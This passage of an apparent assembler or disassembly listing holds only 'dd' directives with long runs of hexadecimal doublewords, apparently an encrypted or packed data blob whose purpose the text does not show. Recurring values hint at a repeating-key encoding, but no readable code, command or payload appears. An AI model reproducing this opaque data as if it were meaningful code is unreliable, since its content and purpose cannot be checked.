		dd 24EEB60Bh, 9FFAFAB9h, 14D194A3h, 9D68498Dh, 6B5C3080h
		dd 0F411D4E9h, 935EABEBh, 0B8351807h, 0D9A8C4CEh, 0A9685DE9h
		dd 0CA795CDDh, 0FA814442h
		dd 0E3BCEB93h, 88842755h, 510EFB64h, 3C5D794h, 19EAE94Eh
		dd 9D6B84E2h, 38EAD980h, 5E8ED37Fh, 906006F0h, 0EB41BBF6h
		dd 0AB3DE5FBh, 44968C71h, 0A9699950h, 792BA137h, 752A0865h
		dd 828ED39Bh, 0EF24BCB4h, 66347254h, 0AD64F19Eh, 626C3FE7h
		dd 0D895A84Eh, 55F1FF7Ah, 0A18ED39Ch, 0C3328F2Bh, 125C1BE7h
		dd 6FBD2879h, 0DE968F06h, 0A9688564h, 4B701FB3h, 81CDB836h
		dd 748ED3D1h, 9A661F62h, 0AD78B75Dh, 1CE4F030h,	4E2CB3E7h
		dd 6B3E5E80h, 5C2B9EBh,	507699D5h, 0ACBB8F11h, 56AC428h
		dd 0DAA08CF1h, 0A50177EEh, 0B1C08163h, 8D282A6h, 0AA47B7CDh
		dd 8AA19ADDh, 333E0C70h, 0A11F3DD6h, 0EFDEC3B3h, 40FAC432h
		dd 0DF8C9AB8h, 9AA15B34h, 501E4CFAh, 749C9BEDh,	82769912h
		dd 0A305297Ah, 18E4ED62h, 0F9ECB70Bh, 0D6AC2B6Bh, 6BD12352h
		dd 4ED51FDFh, 898593EDh, 0A538D0F1h, 5E8F1863h,	8728000Eh
		dd 42145300h, 112FC531h, 0C3A843A3h, 506D411h, 28847AB0h
		dd 22D6E0h, 0EFB206D1h,	7BA47F1h, 9525064h, 0A8C0F7CDh
		dd 0EFE79ADDh, 0B6C18419h, 0AFFCD1F1h, 0A867A25Eh, 1AEF2A9Bh
		dd 0FE52A13Eh, 0B0A8BB64h, 0EEB3E79Bh, 688ED341h, 3A3A3E66h
		dd 1B705556h, 78678944h, 1B7057C9h, 0DBA77F5Eh,	0F495A79h
		dd 57B73935h, 3222D984h, 8F7B339Bh, 0A968C2BAh,	7803B5DDh
		dd 61699ADEh, 0CF52E66Bh, 1C887F75h, 329A673Fh,	885DA8E8h
		dd 3225C354h, 40727B9Bh, 5F0CF2CAh, 388ED342h, 0C5CE7255h
		dd 29918ACFh, 0A968CE77h, 858C1BEBh, 0D232549Ah, 757A7982h
		dd 86315B2Fh, 5480BC6h,	3E25E66Fh, 6CE19C48h, 0A968DF94h
		dd 677EC6DDh, 0DB7E8ECFh, 0D78492D2h, 9B704BBCh, 3AEBCCB2h
		dd 0FAE60018h, 9B704B48h, 59001B85h, 64F14F9Eh,	65F1E8CAh
		dd 0D9A257ADh, 0E9798A88h, 1C8C87E7h, 4C9EB569h, 0A96A104Ah
		dd 81E861DDh, 9F57ABE1h, 9186ADB7h, 2DBCABB3h, 277870E2h
		dd 308ED341h, 0B29CA84Dh, 0F2BD32D9h, 7F45DFD9h, 0F2699ADEh
		dd 0FDBDCB09h, 7500B864h, 32281AA0h, 8126076Ch,	59799241h
		dd 0E391A8B1h, 0F28C1928h, 0EEB2A89Bh, 688ED341h, 0ED8AF366h
		dd 7652E66Ah, 7E025A10h, 61699ADEh, 1C3D794h, 0CB877340h
		dd 0CB8ED340h, 80F5D7DBh, 8C0A192Bh, 3225C77Fh,	7780219Bh
		dd 0C2D794h, 0D9B8BF43h, 0F58087E0h, 80F2C19Fh,	12BDA6C3h
		dd 8C1526F9h, 0E915F2CFh, 3AFB3E7h, 8D3FF598h, 0A3091298h
		dd 515511DDh, 0DCA3A633h, 0AD7B75E9h, 1BFDF030h, 9CB6BEE6h
		dd 0F9E50431h, 7A485065h, 0BF07CC0Ch, 0C6F4A1FFh, 0B91DCE34h
		dd 0A2DC8F76h, 31B06428h, 83E222D9h, 2AD291D0h,	0CB654C39h
		dd 38646DEBh, 0BE13A189h, 0A8675A45h, 1CD528E9h, 36839EBAh
		dd 6630F64Bh, 7718FC9Eh, 0FEE13C98h, 5A1C4677h,	64CFC342h
		dd 0FF0B4CBFh, 7A3BEA1h, 462A696Ch, 37CFC531h, 5AED17BEh
		dd 8F9F7170h, 0AD7B3E2Bh, 0EFB4C99h, 1EB02335h,	2B66B072h
		dd 0A5E50413h, 0E1FFFDE6h, 7D2AE6D6h, 88849D00h, 2EBAC854h
		dd 1C7E438Eh, 0FBBECCC6h, 2549BE88h, 0DF75CC07h, 2DADEC0Bh
		dd 0E2590195h, 232689A1h, 0B9A8BFABh, 6BE06C5Bh, 0E692FF50h
		dd 32236CC5h, 90D9FAC8h, 719D42E7h, 0C5E504D6h,	4759D512h
		dd 705E340Dh, 0E06578B3h, 0B3167AE4h, 2F60C67Ah, 0DF60018Eh
		dd 523529ECh, 0EB24FCF4h, 694089D3h, 8FDD53CBh,	0B155E16Eh
		dd 15C6D494h, 9B7058FDh, 47040C71h, 108ED341h, 99574A2Dh
		dd 0FDD3243Ch, 502ABB64h, 82E843B5h, 7E7ECF3Ch,	0CF843F22h
		dd 0F2BD32C5h, 0E245DFD9h, 40699ADDh, 9667A25Dh, 0FDD2276Bh
		dd 3228BB64h, 8A9DA753h, 0FB0A3245h, 0FDB2B311h, 10C8BB64h
		dd 3228E898h, 0E647E89Bh, 0DBA2A757h, 0FC0ACC16h, 3A68711h
		dd 0A8A53D49h, 2A219ADDh, 8B85B062h, 3225C77Fh,	7780219Bh
		dd 3DE9D494h, 598ED341h, 5C2A53C3h, 60FB6420h, 0DA2C76ADh
		dd 7735E006h, 9333133Bh, 75062D6Eh, 0EBC95A10h,	188ED31Fh
		dd 0A96DFE34h, 80C1E0DDh, 6C8ED34Fh, 0DBABEFD7h, 0EA43597Bh
		dd 0C6A2E8FAh, 0B96A583Ch, 0DA8ED341h, 11141C3Fh, 7BD8DAF2h
		dd 73917B4Fh, 0CFEA97h,	109E1F9Bh, 51E1070Bh, 64FEF55Dh
		dd 6EB8085Ah, 30E91E31h, 16699A0Bh, 8586AC3Dh, 93084789h
		dd 81CE3E83h, 6B8ED34Fh, 0D115D8AEh, 83568F27h,	0EDAE4428h
		dd 46416F9Dh, 0BBCB0775h, 53FC8F20h, 137EC003h,	0C007B508h
		dd 8603811Eh, 0AC7A4789h, 54557692h, 6E2B6E6Bh,	8526CBB8h
		dd 0C6A76588h, 146A5C89h, 97D1EE3Eh, 6B2A9ADDh,	4CF238BDh
		dd 3C0F1A86h, 0ACEB2A09h, 78E7E372h, 9E1907DBh,	21D2673Dh
		dd 906CB319h, 0DB4BB286h, 0E591A6F1h, 277870E2h, 3077995Ah
		dd 678A0B7Ch, 0EB9BC185h, 33C1A3E6h, 0C6667866h, 468F1267h
		dd 286DE835h, 0F0F4F7C8h, 1BD8DFA3h, 835416F3h,	0F38382ECh
		dd 829F3039h, 0FB0D088Ah, 0ECA18210h, 0DBAEA6E6h, 63A1F49Dh
		dd 0A9E52A30h, 0F2FCF763h, 60D8ADDBh, 0B4D8DE6Bh, 0E8CFF291h
		dd 2906AC09h, 0C74AF270h, 51D6C2B7h, 7720076Ah,	58144EF8h
		dd 0F7F6D8ADh, 59BA1CBDh, 0A6240D6Bh, 0A82809AFh, 42FBADD9h
		dd 9D699A86h, 0A67914B3h, 0B443E7E6h, 435EF7E7h, 6C3BDF43h
		dd 49F7D31Eh, 0C6F49276h, 0D40866ACh, 7F2F7B49h, 89355FE6h
		dd 305DAA04h, 8354F1BFh, 8B405410h, 0FE0847F1h,	0FCBECEC4h
		dd 53BFBB64h, 87546FCAh, 0BF048A7Bh, 6D627FC5h,	95070DC2h
		dd 6276A00Fh, 0F23D3794h, 2B610598h, 2F2F30E0h,	7AE1126h
		dd 484F9D43h, 0C56FA8DAh, 3E0E0188h, 50D52C09h,	2CE4FF33h
		dd 81D2B0DDh, 5B48BA2Ah, 2E74516Bh, 0BC04D00Fh,	0AE353A1Ah
		dd 0CA5BD1B8h, 0D8DFD121h, 77B493B5h, 1C6965DCh, 27B93F37h
		dd 5EE0F8A5h, 5B0DE398h, 3BB92113h, 4B236129h, 0DC96A47Fh
		dd 0A99AA6A9h, 6974FCDDh, 0F6AA07C1h, 5CFD66Dh,	6EBDA16Ch
		dd 0BC1ACF03h, 0EAEEE972h, 0F67670CAh, 82D036B2h, 0EF7A0583h
		dd 0E4301227h, 0DC313A47h, 0AA31C0DDh, 2DBCAB6Bh, 5493553Dh
		dd 0B3DFC57Ah, 438ED342h, 0BD725190h, 606454E2h, 3776A0A9h
		dd 0B5E73C0Bh, 9559B546h, 0A425A447h, 0C09A6763h, 0EF68533h
		dd 2477A3Bh, 1A6C6B8Ch,	403F7429h, 4AEC00E0h, 5775265Bh
		dd 7E8AE4CBh, 26843F22h, 0BA20A586h, 367983E8h,	99BAA9AFh
		dd 3571837Ah, 0D69B4785h, 62C17C55h, 0F7091C6Fh, 0BF9C74Dh
		dd 6CB4C002h, 0DD964375h, 0A0E1EA77h, 2E76A0BCh, 81D2B0D1h
		dd 0A3FCBA2Ah, 78745163h, 912C3128h, 238130E9h,	527F2B07h
		dd 5D10569h, 0C64714D1h, 878F554h, 0A9B04ECDh, 8B249ADDh
		dd 60F93245h, 0D597BAD7h, 48476947h, 35C20D43h,	63137765h
		dd 0F8F71F7Ah, 0A33707BAh, 7F791A63h, 405AB834h, 89DD60EBh
		dd 0C5699A9Ah, 0ECA95C6Bh, 7B8B699Dh, 8A87382Fh, 94630554h
		dd 323C2A05h, 0E9FC58Eh, 1BB3E994h, 26D4B2DEh, 711D860Dh
		dd 17C4C3A9h, 8354F6D7h, 8A8886F8h, 2E513245h, 0A9699927h
		dd 7CB0AA3Fh, 892F385Bh, 0CE852106h, 37243150h,	0FDF99C43h
		dd 65CDBB64h, 7DCCCBB8h, 0C977115h, 73E4D361h, 5C76A0C5h
		dd 0CD2F098Dh, 23869890h, 0CB06C5AEh, 0E5628A7Ah, 95267B2Fh
		dd 63329ADDh, 55454365h, 44176DCFh, 0B4F33D31h,	0A10F1A87h
		dd 0B62E2F03h, 9BA89C6h, 17777840h, 21D27BEAh, 0CD78CE19h
		dd 0DE80744Dh, 0B877992Eh, 0CC795220h, 0DA293951h, 95381E13h
		dd 6568F15Ch, 6618BEAAh
		dd 422062C2h, 0F20FDD69h, 0C38384C5h, 9AA1426Ch, 0D1286FB3h
		dd 365DBBF2h, 0F4FED8C5h, 0E35AC650h, 0A96B2B22h, 0B4A119DDh
		dd 0F8F71F7Ah, 0A335EFBAh, 55E3263h, 0F428464Ch, 16BA7DEBh
		dd 0A73DCF1Ah, 3B47EA6Ah, 95EF6A5Bh, 0FB0A3395h, 51300C59h
		dd 1B25A05Ch, 0CED32B86h, 7A2B6D61h, 0CAAA9D81h, 0E27E4461h
		dd 389A4F49h, 75CEAA18h, 404A0390h, 154C511Bh, 3AE88430h
		dd 20801C99h, 96667036h, 0CC564A80h, 0E2F6438Eh, 1BA7BA94h
		dd 12366004h, 0FCC7DBD9h, 0EFC4A69h, 0F9C8F1A4h, 5085A09Ah
		dd 0A986464Dh, 0C9E99CDDh, 0D7FFADA3h, 0E72F774Ah, 501C464Dh
		dd 9C7A6FE3h, 4B4C8F52h, 57220EEAh, 63F3D7DCh, 0CF0FBAA3h
		dd 43D4D0C4h, 0DF94D8A7h, 0A51C0DDh, 12B0A84Ah,	77BDB4B1h
		dd 0B2DCCA22h, 448ED342h, 0F3826A91h, 1617091Eh, 0D4B1D27h
		dd 7C59E591h, 16565DB1h, 0E1768BD5h, 823B0E58h,	1FCCC57Ah
		dd 836863AFh, 455CF2A0h, 32C2C175h, 0EBAF01DFh,	5F0EC206h
		dd 83511616h, 229F327Ah, 986CB319h, 0AD78B75Dh,	5BDE959Fh
		dd 4AF54F6Bh, 788DAAE6h, 56EF8B16h, 0BAB6F3C8h,	5BD94342h
		dd 0F492466Bh, 0BAC8AB51h, 0C7C46330h, 2B822A30h, 5BD9531Eh
		dd 3852BE6Bh, 531E1892h, 8B5A0BB2h, 977B33BEh, 4D8D66Eh
		dd 0E0EAB17h, 0EBCDB370h, 9F6A5402h, 937A5DCDh,	0BDA69ADDh
		dd 0C08E9C04h, 7068AE86h, 0F97A7826h, 6543455Dh, 0B26D55F7h
		dd 46E644D2h, 52C0340Dh, 0FE9E5FD7h, 7A473C4h, 81CDB809h
		dd 74779928h, 3824A411h, 9B705524h, 98084FC6h, 2FCFD76Bh
		dd 7E476947h, 1B795217h, 0D0EC34D1h, 0A31E2FD3h, 8F7DBB63h
		dd 67C39913h, 0D8FEADA1h, 0D712D74Bh, 0A3197E1Ah, 0E955A263h
		dd 83514B67h, 5AB086E8h, 8102A1FFh, 0D39898C1h,	0D971A780h
		dd 0BD7E8F78h, 90D298AAh, 8B5DE932h, 16E9C13Dh,	0C05C793Dh
		dd 0E47AD013h, 0A829C674h, 0DAF993C7h, 15699A92h, 0BCBEAC9Bh
		dd 0CADB7E6Dh, 0D9AA8931h, 0E373517Bh, 0C18C3955h, 5E8F1892h
		dd 6AACF846h, 75C70DCFh, 1FC5D1BEh, 68D02293h, 8354FEE0h
		dd 0D9DBEC68h, 9B705795h, 0E591A6F1h, 79759DE6h, 0A35F9A81h
		dd 0E9A54663h, 0AB42312Eh, 0B4F1C003h, 83568BB4h, 82D26CF4h
		dd 0CF5708BCh, 9B7C9588h, 47F5C7Fh, 0DBCAF491h,	933D442h
		dd 1E29BFF4h, 54E937A4h, 8CD1E33Ah, 7E473D4Ah, 55E3D935h
		dd 0D5606270h, 0D225D5Dh, 427FDF38h, 0C9C4F7E4h, 977FDF38h
		dd 7DF9E1DEh, 91977AB2h, 92439046h, 0A7552779h,	0D5B0B4FFh
		dd 0B867D936h, 0CF20369Bh, 78EB2508h, 0C6918CB7h, 0D0607660h
		dd 44ED2184h, 0B7429B98h, 28B33721h, 33C01F6Ch,	2EEA2EA9h
		dd 52BC8812h, 4AF63334h, 68BEF546h, 88EEFA8Eh, 54E93C79h
		dd 2EC9E33Ah, 0C778D570h, 0FEAAE0ADh, 5E66B9F2h, 92CCA570h
		dd 4C5C1A48h, 0EC55A6D7h, 414264EFh, 0E8712EBh,	0FA7AF100h
		dd 0C1FA3F0h, 91D07E80h, 89DAF35Ch, 0F89E1F15h,	76E11B33h
		dd 748711B4h, 653A89EBh, 0C20301A0h, 0E176B761h, 0F8FFDDA6h
		dd 3D281933h, 0EF1B177Ch, 1F2FCA01h, 0FFD8D571h, 0C6A8A881h
		dd 0C5E50900h, 52713AB8h, 8C05E766h, 0C6B045D6h, 932F8BD9h
		dd 870FE5C8h, 0D70D4152h, 0FA7C5A8Ah, 4D92A3F0h, 24FDD953h
		dd 0F803C43Eh, 0EB50A2DDh, 1EFE96ADh, 77E00971h, 827662CBh
		dd 1E375B40h, 0E6B2B86Dh, 24A2B370h, 1823A430h,	0AF8894BDh
		dd 345B39DAh, 0CEE8D411h, 29CCFA1Dh, 0DF296255h, 68022B8Ah
		dd 0CDBAE087h, 817FDF37h, 241BA716h, 30C71681h,	9442CDFCh
		dd 0E7B4931Fh, 0FE68A3F0h, 117FDFE0h, 618A98D5h, 0E2558C9Dh
		dd 0C28D5095h, 0F063E44Dh, 812D4BBDh, 9629491Ch, 42CE149h
		dd 9B96B759h, 0B74D6AE9h, 433C7EF8h, 0AC70C7D6h, 8AECF9D5h
		dd 96A537ADh, 0A1CE4C24h, 11A1555h, 5597FA0Ch, 5B55D470h
		dd 0AF589852h, 0E4BD073Dh, 0F0700BB7h, 0BE4527D1h, 49805958h
		dd 5688DBEBh, 2A8003D8h, 9D3A7939h, 0BDF953B0h,	5A66A2Ah
		dd 0A652CBA8h, 9CB494B2h, 0C6AFF7DFh, 915E2D44h, 0F5370E9h
		dd 0D56107D9h, 0BC780836h, 812465FDh, 1DFC1637h, 0C77994BAh
		dd 9EB7741Fh, 2F5BF04Bh, 29E3DB12h, 2519FA8Fh, 6ED02586h
		dd 330FFA8Eh, 0A459672Eh, 0AD2E6FCCh, 0F0C791AAh, 0D50A3331h
		dd 51EFD936h, 9E62A57Eh, 0AA76DD47h, 0B22570C3h, 0DA3C79ECh
		dd 45F4287Eh, 0DD5BF713h, 0AEDD4B18h, 0C35ED409h, 6B095B03h
		dd 38D858BCh, 81B0215Ch, 0FAC99821h, 0E54E0995h, 0F93AA66h
		dd 0A560D936h, 0C26EE1B5h, 2D01380h, 211085A6h,	2A13A503h
		dd 86AAFA8Fh, 0E8D3A565h, 90091481h, 0FFD0137Fh, 36A0B312h
		dd 3EB9E7FBh, 7ABE113h,	0AF4AA9FDh, 4B9CFFF7h, 0D560D97Dh
		dd 0DF804A9Eh, 8ABE771h, 44839708h, 2A59E35Bh, 3F77FA8Fh
		dd 0B694E112h, 342D71AEh, 3EB4E7F7h, 844D81D5h,	29D3EA3Ch
		dd 75E9FA8Fh, 0E65C9EB9h, 58712AAh, 0DC2252D5h,	0D83E7B8Dh
		dd 858712F9h, 0D5662BBDh, 0F4946E36h, 2C0F51E2h, 338D89E8h
		dd 9A5D7998h, 0AA833F24h, 0B52677C4h, 260C338Fh, 0D1038F8Eh
		dd 7AA3082Dh, 3A9D805Eh, 0A94FCEAEh, 2701EEABh,	1FF5533Ch
		dd 0DEEAC608h, 24E922A8h, 0AF6B4944h, 42E024E4h, 0A998A6D6h
		dd 0F109EA47h, 1F21A122h, 0BC0DBF09h, 34CDFFE8h, 79E328D6h
		dd 1BC30AFCh, 5560D937h, 0D560CB04h, 0C7E19136h, 0EA8BC5E3h
		dd 0E661735Fh, 7491CBBAh, 0B42BFFE9h, 0DD704928h, 84341729h
		dd 284B7FAFh, 1965951Dh, 0F7FDFA8h, 7B214EADh, 27043B1Dh
		dd 2D7AC3FBh, 0A2E3FB70h, 0AE637557h, 23CB5722h, 6E98CD77h
		dd 0B2300AA2h, 0DD1B0325h, 45EE2D88h, 824E915Ah, 8F59558Bh
		dd 0A798FFE8h, 4772BDFFh, 0D1368DCBh, 0B8E9F671h, 0CCEB1093h
		dd 827FDFA8h, 0B1946723h, 0DA063526h, 0AE0A89D3h, 99AB4917h
		dd 0D561CA82h, 0E2814A2Bh, 94357EE0h, 83334AB7h, 0B057BA23h
		dd 0B8196218h, 0C10B3024h, 2A952753h, 0C6EBFA8Fh, 8EF5972Eh
		dd 0CC496CF5h, 315C6918h, 0A314FA1Eh, 6E1CB003h, 0B81F7C54h
		dd 3F2A2379h, 0EE889B80h, 18A06791h, 152D4216h,	83BE6BA9h
		dd 9CD7603Fh, 0F9C81917h, 5E25C40Fh, 0A0B9C470h, 0C779969Fh
		dd 0D43868E0h, 583E265h, 561A4631h, 0B84A95B2h,	23FE3124h
		dd 0CCD4F552h, 1EB47C88h, 14C1E32h, 6C60D936h, 5BC61680h
		dd 3F78A8ACh, 0FDBB83E2h, 2A946680h, 7B1CFA8Fh,	0FEAAEA8Eh
		dd 5E25B9F2h, 0D7617D70h, 0ECABC5C2h, 32D11680h, 8B07DD29h
		dd 0A8184F05h, 97340374h, 0C4CB64BCh, 31ADB0CBh, 9ABE0F4h
		dd 93FD0E03h, 0D55D4203h, 0AB779136h, 5E24D568h, 9F98C970h
		dd 0DE166681h, 0DF109B7Fh, 767195E4h, 0E5C676EBh, 36C24D48h
		dd 0C779A230h, 6ACB4C41h, 5FE6CCCAh, 5C97464Eh,	0BCC30376h
		dd 0B794E115h, 3EB9E579h, 4DAAE113h, 0C77996EAh, 102F1F46h
		dd 0D43872C2h, 0B728D936h, 2A01861Ah, 9AEF2DC7h, 23A3A3C4h
		dd 2E7B80A1h, 5E158B12h, 0C4FF3823h, 0B575FA65h, 0D0647BC0h
		dd 0B68B5B84h, 0C96C003h, 0D044B608h, 61BFE988h, 8B288561h
		dd 597DFFE7h, 0CAC5FAE5h, 967FD844h, 18A7EC83h,	6E549274h
		dd 98BE0AA2h, 0FD797E8Ch, 0A9863CBh, 0D560D8C6h, 649358BBh
		dd 50EBF33Bh, 0E496CA52h, 0A7FDF41h, 7310AD59h,	6155FFE9h
		dd 0AD54DA45h, 0CF42F6C2h, 2C7E9788h, 0CF96704h, 34C3E82Ah
		dd 0AF5EF43Eh, 6921206Bh, 16FE89A2h, 0E7B0FD6Eh, 0AF5FC0E8h
		dd 0CCEB1537h, 827FDF37h
		dd 1E45AF23h, 6B60D937h, 6B22081h, 2088DF0Ah, 95287A64h
		dd 5A2E5A0h, 0BB48912Bh, 0C83C3645h, 0B9311940h, 5E183493h
		dd 99F32E70h, 49A66B81h, 0F03A5BDAh, 0B3DE13D1h, 50617F8Ah
		dd 0EB93FC04h, 0E00ADFF5h, 4F94CE9Bh, 74284C3h,	0AD459981h
		dd 0AF6A6E1Ah, 718D54C0h, 12502A3Fh, 0DBFA24C6h, 0D37FDECCh
		dd 0E3853687h, 0CB2CFFE8h, 0A5B7D45Ch, 0FF40F167h, 888768C2h
		dd 7255314Bh, 82CD2A57h, 76492080h, 9B5571EBh, 0B693FCDh
		dd 1722BD2Eh, 8F2F8DEDh, 8FA5E2DBh, 0D561C031h,	71EF7C4Bh
		dd 7EC973E7h, 8E1B823Ch, 36B1CB31h, 437EB3AAh, 3637C84Bh
		dd 815397AFh, 741EAC24h, 3C367056h, 653E5E78h, 0D4C31B90h
		dd 98F77288h, 0D05A2A80h, 9AE7746Ch, 2A00BE08h,	0A56CFA8Fh
		dd 0C779911Bh, 27CED3B4h, 28B6090Ch, 7EB7FA8Fh,	0B851AE22h
		dd 7283DF9Bh, 64E2D2F5h, 7A5119C1h, 5F3D76DEh, 0CB8E6FA3h
		dd 0D838CECBh, 5B3CFFE8h, 0D8576096h, 8A2AFFE8h, 0D6B6090Eh
		dd 7EB7FFE8h, 7BB84E2Ah, 65FDE638h, 35C770E1h, 3C081996h
		dd 7A409DC7h, 0C91F4E5Bh, 0F788659Ah, 81290AFDh, 2BD31538h
		dd 0D62C318Fh, 0B6E9D936h, 2901861Ah, 0EBA4FF9Ch, 0C7799D1Ch
		dd 0CB033E1Ch, 0DD086C8Eh, 32155288h, 0CF447E14h, 4B64A788h
		dd 0DE09DBC3h, 0E9EE9776h, 0B2300A99h, 0C763FDEBh, 8383CDCAh
		dd 3F8EDC80h, 1CDF5F7Eh, 1E4068E1h, 88B779E0h, 0A2A1DE4Dh
		dd 4B77CB7Bh, 0B2E0EB98h, 0A294E72Bh, 0CE0A8C83h, 4F87EA0Fh
		dd 8DB939F4h, 1CBD43DBh, 0D561C79Fh, 3CCB8DE7h,	2B969F43h
		dd 39A6CE3Eh, 437EBF9Fh, 4EDAAB01h, 2A4BA4F7h, 3D179723h
		dd 88317819h, 0D00A8C89h, 79525733h, 0D4C24C54h, 8D0C5E88h
		dd 0D05A2A80h, 9AE7746Ch, 2A00BE08h, 5BA5FA8Fh,	5E25A0F8h
		dd 27CFAA70h, 0B81F7CDBh, 23003F24h, 5E215BE7h,	0B72D4C70h
		dd 29053029h, 31AECCF5h, 47DF2084h, 0CF182745h,	76492088h
		dd 7EC973EBh, 0F190993Ch, 2139BE2Ch, 0AF588A21h, 4A3F735Fh
		dd 0A57FDFA1h, 54EEC808h, 0C336A40Bh, 1A62758Eh, 0B7483429h
		dd 63A0D5F2h, 8763970Ch, 0D6875651h, 21C7D936h,	0F4992CA8h
		dd 0E379F606h, 0EC8BC106h, 5961ED6Dh, 557CB195h, 1B126E92h
		dd 67E25E7Fh, 72BB4535h, 0DBC07AE6h, 66DD0254h,	887ED8BCh
		dd 0C7E10B52h, 5F50C50Dh, 18188A5Ch, 0B38DFF36h, 0C1028C68h
		dd 37175F7Ch, 370F5079h, 0CA47A998h, 4BB2CB23h,	87CDD954h
		dd 2AA13721h, 8CF61836h, 7FCEE7CAh, 90CEBFC3h, 0A6CB0326h
		dd 3C4E11CDh, 10A890C7h, 3E2078C2h, 0D6142773h,	0CAEC2788h
		dd 3CC1DC3Fh, 0AB0A3029h, 3E13BDC7h, 0EDA9EB7Dh, 93770BFFh
		dd 0E89A2D4Bh, 0B8AB4C2h, 0E413B919h, 0CA3D0A9Bh, 80A55BFFh
		dd 4772BCD2h, 0CEAD07DCh, 0AA047441h, 194BE3DCh, 96BFD474h
		dd 0D307DA3Ch, 0DFD8640Dh, 93DD6BCAh, 444440A6h, 4ABCD2Dh
		dd 6430F6A9h, 7AD3C0B0h, 0FEB29AC4h, 769C17C2h,	575C76EBh
		dd 93B4A94h, 0DCCAC6CCh, 1748F2D0h, 0B919ADFEh,	463D2C03h
		dd 71CCDBB4h, 13502394h, 12C428C6h, 0E8D8BBA0h,	74FD3870h
		dd 80324C3Dh, 0D561BFAFh, 7A235536h, 33D65E81h,	0A584B616h
		dd 9935467Ah, 0ED9C9543h, 0E24813CFh, 55BC4536h, 0C76AD60Bh
		dd 0DE1420DAh, 1376BFA2h, 79103067h, 0D5558061h, 0E0D5D936h
		dd 0B9788C39h, 0B8A871C1h, 0D4B19ECDh, 0B9807236h, 0D5896ACDh
		dd 0B9787236h, 0F59890C5h, 6C9D3398h, 0C350D13Eh, 0A6BF68B1h
		dd 74A871Eh, 3CD818F5h,	0C86E3E62h, 0BB77DC65h,	1CD838AFh
		dd 0FA30FFE1h, 0CCD0B13Ch, 0A0ECF138h, 0FDC1DC18h, 0E1D822A0h
		dd 0D560D939h, 5874E5FDh, 0F054E53Ah, 0D4A17CCEh, 0B9507236h
		dd 1908C9F8h, 0AA62316Eh, 99D838D9h, 0E2C25EEEh, 0FCD69BE8h
		dd 2BB70A6Ch, 0E2BA3D08h, 0FEA1998Bh, 0CE8B4D2Bh, 0E53C37C7h
		dd 0A8B8C0AEh, 8AA99D59h, 0D9DCF243h, 38C43CD3h, 8AA983F3h
		dd 1DB20CA1h, 93C386E6h, 0A86E37A7h, 8AA993E1h,	0E3B2E67Ah
		dd 96C35EEBh, 0B48609A8h, 0AA2786E5h, 653C48AAh, 0BFAA18ECh
		dd 0A87586E5h, 8AA99E95h, 0A86A3FEBh, 8AAB1139h, 2D52236Fh
		dd 0D1C286EBh, 0E2C28D6Fh, 0B4650DEBh, 2B3C3B44h, 0E2C25EEFh
		dd 0E2C25054h, 0E3BEE6EBh, 38755EEBh, 8AAB1143h, 58C3B578h
		dd 8AA998DAh, 50DA1CA1h, 72B78754h, 0E2C34D8Eh,	213ED0EBh
		dd 0CC367977h, 62C25EEBh, 67F39CD1h, 0E2C35F02h, 4FC292C0h
		dd 7A74676Ah, 58C3CF04h, 8AAB113Ah, 0B0A34972h,	0FD1A0246h
		dd 0F6F68494h, 0FC14B431h, 0E43DC78h, 332C6067h, 5109F7A5h
		dd 0E60DDB90h, 6C20A815h, 72DB65Ch, 3D38E666h, 0D723FFFDh
		dd 45F7BF28h, 0AAE60995h, 0B9161447h, 2B02BC28h, 0E2C25E67h
		dd 0E603325h, 0FC3DE31Ch, 8939E7A4h, 0BF5733FCh, 0FE1F35FEh
		dd 0D71B504Fh, 62B81656h, 0E2C34A5Eh, 0Bh dup(0E2C25EEBh)
		dd 292E57EBh, 0FB1A5EECh, 2B3C3758h, 0E2BA4FC0h, 7A928612h
		dd 93705804h, 0DC1A5F9Dh, 2B3C37CAh, 0E2BA4E6Ch, 7A824312h
		dd 934C5804h, 9B1A5F9Dh, 2B3C37C4h, 0E2BA4E88h,	7A87E912h
		dd 92185804h, 3FB95F9Dh, 32CA38CDh, 0A1AC0A6Bh,	4AFD192Ah
		dd 9692FDCEh, 93AE0739h, 37F909F6h, 441350E4h, 4FE13C5Fh
		dd 0F9B73E8Bh, 230E74FEh, 65E05ED0h, 0B86D24B8h, 0ACC25EEAh
		dd 54D23F51h, 67176D5Fh, 2C1A9CBEh, 9CF76B68h, 460750E1h
		dd 0B98936A9h, 9AB3214Dh, 5FCE17DDh, 0E2E89822h, 0EFA5EB6Ch
		dd 651C08EBh, 65E4A08h,	5C2A7212h, 26269C35h, 64E2322Fh
		dd 0F917129Fh, 376351A4h, 50DD8044h, 0BE2C7AECh, 0EAE164F1h
		dd 0DD54B325h, 7FE164F6h, 70790945h, 72F90072h,	0E2C34DB2h
		dd 180D6D25h, 4B86F7E8h, 0FCCEA948h, 351170EDh,	1F178EC1h
		dd 5BE17FCEh, 0B7046Ch,	0DB9088C1h, 2703B43Dh, 3E100DA4h
		dd 9FAC4C5Ch, 2FC91CD0h, 3AE16519h, 5EA3039Bh, 3A49839h
		dd 3385C846h, 0D7A4983Ah, 59C06916h, 44D1CE22h,	624F5E57h
		dd 0DD942055h, 3B457CC9h, 6D6F72Eh, 0DB8CEF6Ah,	48C11A19h
		dd 4CD2167Ch, 194930B1h, 9D2870FCh, 89CEF2FBh, 0B25AD607h
		dd 8CFC1A8Ah, 11940447h, 21506C87h, 0BC278F0Fh,	0ADCE3A34h
		dd 0E3D5E33Fh, 3B8EAA6Bh, 8A110829h, 0E7C92E8Fh, 98B15EEBh
		dd 7A890447h, 4963133Eh, 0D270DE23h, 0BE4AEC0Ah, 8B6DBFF1h
		dd 5FF0690Eh, 6DCB5CBBh, 18988312h, 22AFA683h, 5CC720B2h
		dd 0DE05ED0h, 0A0D90BCDh, 3ACAB5ECh, 0C6A25400h, 0D4DA596Ch
		dd 0C927261Dh, 0FB9C50D2h, 0DC0C47CDh, 3DB8588Bh, 0AB0F76F0h
		dd 0AEC31BEh, 0BCDC2AB7h, 2965859Ch, 875E1423h,	0E06E6623h
		dd 18F6693Ah, 72A04760h, 0DCE0A145h, 8CCA553Dh,	0E21FBAF8h
		dd 5A060A74h, 0C4AFE989h, 7E41230h, 9D51A789h, 0FB6C5CF0h
		dd 1733A2F2h, 0AB1A3CB3h, 0A32A6F57h, 642067F9h, 96510FDDh
		dd 9114B000h, 269624Fh,	0CFCA6BFCh, 1D388078h, 62F43255h
		dd 0D11600B0h, 34659BEDh, 2A57ADAFh, 1A9B1535h,	0C29E23C3h
		dd 0E08129A4h, 8CF52C8Ah, 1F86B7B9h, 0A31DC451h, 7295E7CDh
